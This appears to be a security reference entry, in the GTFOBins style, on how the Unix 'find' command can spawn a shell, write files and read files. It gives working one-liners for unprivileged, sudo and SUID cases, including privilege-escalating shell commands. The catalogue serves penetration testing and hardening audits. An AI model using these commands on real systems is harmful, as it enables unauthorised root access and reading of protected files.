find

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
find . -exec /bin/sh \; -quit
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
find . -exec /bin/sh \; -quit
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
```
find . -exec /bin/sh -p \; -quit
```

File write

This executable can write data to local files.

CommentDATA is a format string, it supports some escape sequences.
Unprivileged
This function can be performed by any unprivileged user.
```
find / -fprintf /path/to/output-file DATA -quit
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
find / -fprintf /path/to/output-file DATA -quit
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
find / -fprintf /path/to/output-file DATA -quit
```

File read

This executable can read data from local files.

CommentThis uses cat to actually read the file, but since permissions are not dropped, it’s executed with the same privileges as find.
Unprivileged
This function can be performed by any unprivileged user.
```
find /path/to/input-file -exec cat {} \;
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
find /path/to/input-file -exec cat {} \;
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
find /path/to/input-file -exec cat {} \;
```